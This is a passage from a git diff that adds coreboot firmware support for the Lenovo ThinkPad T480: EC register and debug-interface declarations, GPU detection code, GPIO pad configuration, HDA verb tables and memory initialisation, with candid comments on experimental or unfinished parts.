LPCIF_BAR_UART 0x80 ++#define LPCIF_BAR_FAST_KYBD 0x84 ++#define LPCIF_BAR_EMBED_FLASH 0x88 ++#define LPCIF_BAR_GP_SPI 0x8c ++#define LPCIF_BAR_EMI 0x90 ++#define LPCIF_BAR_PMH7 0x94 ++#define LPCIF_BAR_PORT80_DBG0 0x98 ++#define LPCIF_BAR_PORT80_DBG1 0x9c ++#define LPCIF_BAR_RTC 0xa0 ++ ++// UART registers ++#define UART_ACTIVATE 0x30 ++#define UART_CONFIG_SELECT 0xf0 ++ ++void microchip_pnp_enter_conf_state(uint16_t port); ++void microchip_pnp_exit_conf_state(uint16_t port); ++uint8_t pnp_read(uint16_t port, uint8_t index); ++uint32_t pnp_read_le32(uint16_t port, uint8_t index); ++void pnp_write(uint16_t port, uint8_t index, uint8_t value); ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value); ++ ++#define EC0_CMD 0x0066 ++#define EC0_DATA 0x0062 ++#define EC1_CMD 0x1604 ++#define EC1_DATA 0x1600 ++#define EC2_CMD 0x1634 ++#define EC2_DATA 0x1630 ++#define EC3_CMD 0x161c ++#define EC3_DATA 0x1618 ++ ++#define EC_OBF (1 << 0) ++#define EC_IBF (1 << 1) ++ ++#define EC_READ 0x80 ++#define EC_WRITE 0x81 ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr); ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val); ++ ++// EC0 and EC1 mostly are useful with the READ/WRITE commands ++#define ec0_read(addr) ecN_read(EC0_CMD, EC0_DATA, addr) ++#define ec0_write(addr, val) ecN_write(EC0_CMD, EC0_DATA, addr, val) ++#define ec1_read(addr) ecN_read(EC1_CMD, EC1_DATA, addr) ++#define ec1_write(addr, val) ecN_write(EC1_CMD, EC1_DATA, addr, val) ++ ++// Read from the emulated EEPROM ++uint8_t eeprom_read(uint16_t addr); ++ ++// Write to the emulated EEPROM ++void eeprom_write(uint16_t addr, uint8_t val); ++ ++// Read loaded debug key mask ++uint16_t debug_loaded_keys(void); ++ ++// The following location (via either EC0 or EC1) can be used to interact with the debug interface ++#define EC_DEBUG_CMD 0x3d ++ ++void debug_read_key(uint8_t i, uint8_t *key); ++ ++void debug_write_key(uint8_t i, const uint8_t *key); ++ ++uint32_t debug_read_dword(uint32_t addr); ++ ++void debug_write_dword(uint32_t addr, uint32_t val); ++ ++// RW unlock key index ++#define DEBUG_RW_KEY_IDX 1 ++ ++// RW unlock key for EC version N24HT37W ++extern const uint8_t debug_rw_key[8]; ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +new file mode 100644 +index 0000000000..d89ed712d4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef GPIO_H ++#define GPIO_H ++ ++void variant_config_gpios(void); ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +new file mode 100644 +index 0000000000..44c8578852 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +@@ -0,0 +1,105 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include "ec.h" ++#include "gpio.h" ++ ++#define GPIO_GPU_RST GPP_E22 // active low ++#define GPIO_1R8VIDEO_AON_ON GPP_E23 ++ ++#define GPIO_DGFX_PWRGD GPP_F3 ++ ++#define GPIO_DISCRETE_PRESENCE GPP_D9 // active low ++#define GPIO_DGFX_VRAM_ID0 GPP_D11 ++#define GPIO_DGFX_VRAM_ID1 GPP_D12 ++ ++void mainboard_silicon_init_params(FSP_SIL_UPD *params) ++{ ++ static const char * const dgfx_vram_id_str[] = { "1GB", "2GB", "4GB", "N/A" }; ++ ++ int dgfx_vram_id; ++ ++ // Setup GPIOs ++ variant_config_gpios(); ++ ++ // Detect and enable dGPU ++ if (gpio_get(GPIO_DISCRETE_PRESENCE) == 0) { // active low ++ dgfx_vram_id = gpio_get(GPIO_DGFX_VRAM_ID0) | gpio_get(GPIO_DGFX_VRAM_ID1) << 1; ++ printk(BIOS_DEBUG, "Discrete GPU present with %s VRAM\n", dgfx_vram_id_str[dgfx_vram_id]); ++ ++ // NOTE: i pulled this GPU enable sequence from thin air ++ // it sometimes works but is buggy and the GPU disappears in some cases so disabling it by default. ++ // also unrelated to this enable sequence the nouveau driver only works on 6.8-6.9 kernels ++ if (get_uint_option("dgpu_enable", 0)) { ++ printk(BIOS_DEBUG, "Enabling discrete GPU\n"); ++ gpio_set(GPIO_1R8VIDEO_AON_ON, 1); // Enable GPU power rail ++ while (!gpio_get(GPIO_DGFX_PWRGD)) // Wait for power good signal from GPU ++ ; ++ gpio_set(GPIO_GPU_RST, 1); // Release GPU from reset ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU will remain disabled\n"); ++ } ++ ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU not present\n"); ++ } ++} ++ ++static void dump_ec_cfg(uint16_t port) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Device info ++ printk(BIOS_DEBUG, "Device id %02x\n", pnp_read(port, EC_DEVICE_ID)); ++ printk(BIOS_DEBUG, "Device rev %02x\n", pnp_read(port, EC_DEVICE_REV)); ++ ++ // Switch to LPCIF LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ ++ // Dump SIRQs ++ for (int i = 0; i <= 15; i += 1) ++ printk(BIOS_DEBUG, "SIRQ%d = %02x\n", i, pnp_read(port, LPCIF_SIRQ(i))); ++ ++ // Dump BARs ++ printk(BIOS_DEBUG, "BAR CFG = %08x\n", pnp_read_le32(port, LPCIF_BAR_CFG)); ++ printk(BIOS_DEBUG, "BAR MAILBOX = %08x\n", pnp_read_le32(port, LPCIF_BAR_MAILBOX)); ++ printk(BIOS_DEBUG, "BAR 8042 = %08x\n", pnp_read_le32(port, LPCIF_BAR_8042)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC0)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC1)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC2 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC2)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC3 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC3)); ++ printk(BIOS_DEBUG, "BAR ACPI_PM0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_PM0)); ++ printk(BIOS_DEBUG, "BAR UART = %08x\n", pnp_read_le32(port, LPCIF_BAR_UART)); ++ printk(BIOS_DEBUG, "BAR FAST_KYBD = %08x\n", pnp_read_le32(port, LPCIF_BAR_FAST_KYBD)); ++ printk(BIOS_DEBUG, "BAR EMBED_FLASH = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMBED_FLASH)); ++ printk(BIOS_DEBUG, "BAR GP_SPI = %08x\n", pnp_read_le32(port, LPCIF_BAR_GP_SPI)); ++ printk(BIOS_DEBUG, "BAR EMI = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMI)); ++ printk(BIOS_DEBUG, "BAR PMH7 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PMH7)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG0)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG1)); ++ printk(BIOS_DEBUG, "BAR RTC = %08x\n", pnp_read_le32(port, LPCIF_BAR_RTC)); ++ ++ microchip_pnp_exit_conf_state(port); ++} ++ ++static void mainboard_enable(struct device *dev) ++{ ++ if (CONFIG(VGA_ROM_RUN)) ++ install_intel_vga_int15_handler(GMA_INT15_ACTIVE_LFP_EDP, ++ GMA_INT15_PANEL_FIT_DEFAULT, ++ GMA_INT15_BOOT_DISPLAY_DEFAULT, 0); ++} ++ ++static void mainboard_init(void *chip_info) ++{ ++ dump_ec_cfg(EC_CFG_PORT); ++} ++ ++struct chip_operations mainboard_ops = { ++ .enable_dev = mainboard_enable, ++ .init = mainboard_init, ++}; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..4db4202961d0be67b75f52b28f2111d5655595c3 +GIT binary patch +literal 4106 +zcmeHJU2GIp6h5=FKeKmc=rAo()>4l^U|XP_ZDGYy!|YE>mu}hZ4|PdQy1bV0gipVB&+pHzmFpc`=IXxii}qiqH*)7}PU+ +z?woV)x!<09?wNbfhQa6n_IK}3M!Gw&OgS)sY2Q$LJ4F+z{-JneATkt9refXr6+8sr +zR{e1eASVcGl#mf_O&p%I^1;3af=xDeN0ZnydT=;zHOH-q=O;(UFda)^LXW8| +z-Vsanq!Y==Kq9plQ+*gu^hf&pJ9?tY{h01cbtR&SfsVM!_*!D4W5>papLuo?gRur| +zF$`lX;f2t48Dpd4V@(*z=dq95OkkfiVU53N<(gE+=U)KHEdU4}@R=aMjTTTOcb8-a +zC9IXSxZB*|#u~SlHnpsY25L#Sxy6ljl16gI)H0f>for?qaszCX;ESpG=pqROFWR~Z +zTqQzcH(berra`9K(R~0OJ_eeA=> +z&R-)LYP^U3@%6h}+0)7m-mEOhOM92l32>zpvu-&@ZkPf<>~Bsv&Oy1O(`pbLUf3vt*0HIRk0U3EzI +zIeSaIE9*jps%6qP7$EQo8=K#f^K_mFpy5prkNNSOU;oI@KK0}Ge*G6eyWz+6OyADf +zE`}Db#-81u-uS=OJB*=`v}WPMs@ugdtLtbZo6OEUf}>!QL` +z1zQ!pLt!Zek0|;p3VTDrj}`q(g?+8yuZk|KY?X>TRlP@LPpbH`s-ITbSygS+Jq6cQ +zp|Em=T_#B53Y|R}mtw!K3mUyWRhytxx_wi^(}HurDkx@L%OlKIA%rq@7%bE{p{Wl~ +zJJ%lV6&>fxBjnbA8G(&P?a8o%P#c~Wo$7|%1UE-$r;6jwt1uejOfMLwF-BDgC-Q+N +za!Hx;1S&$9!rlNCTsI*IMZ0#Y5aEO7sjIz#jb`S|q7OpRYx`h&=PK}_YnN#poNF=7 +z3yTO|pc0N&G3cozl21Q6c)l0vjm~0uFL)%2_T5RYR1$~dO~u)4px!jFycZNnchPVA +z!0+Vc_afL{m>rv2PY8{Cma`W{yG~JNJu?;L!#fSLmwRW{8R@gD7Z5~{xvZGpN)U`j +z^I~=;XVmtVzgSv@Na@HC?lC8A1l2+CU Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +new file mode 100644 +index 0000000000..f7c29e1f39 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +@@ -0,0 +1,203 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++/* FIXME: There are multiple GPIOs here that should be locked to prevent "TPM GPIO fail" style ++ * attacks. Unfortunately SKL/KBL GPIO locking *does not* work currently. */ ++ ++static const struct pad_config gpio_table[] = { ++ ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, NATIVE, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, NATIVE, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NATIVE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_NC(GPP_B0, NONE), ++ PAD_NC(GPP_B1, NONE), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE10 */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NATIVE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 1, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_NC(GPP_C2, NONE), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY1 */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_NC(GPP_E0, NONE), ++ PAD_CFG_NF(GPP_E1, NONE, DEEP, NF1), /* -WWAN_SATA_DTCT (always HIGH) */ ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -PE_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 (AON port) */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 (regular port) */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_NC(GPP_E19, NONE), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_NC(GPP_F0, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, DEEP, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_CFG_GPO(GPP_F4, 1, DEEP), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R961 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_NC(GPP_F16, NONE), ++ PAD_NC(GPP_F17, NONE), ++ PAD_NC(GPP_F18, NONE), ++ PAD_NC(GPP_F19, NONE), ++ PAD_NC(GPP_F20, NONE), ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -INTRUDER_PCH */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +new file mode 100644 +index 0000000000..3a951ce0da +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa225d, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa225d), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +new file mode 100644 +index 0000000000..5252a402f9 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +@@ -0,0 +1,20 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for memory slots */ ++ struct spd_block blk = { .addr_map = { 0x50, 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)blk.spd_array[0]; ++ 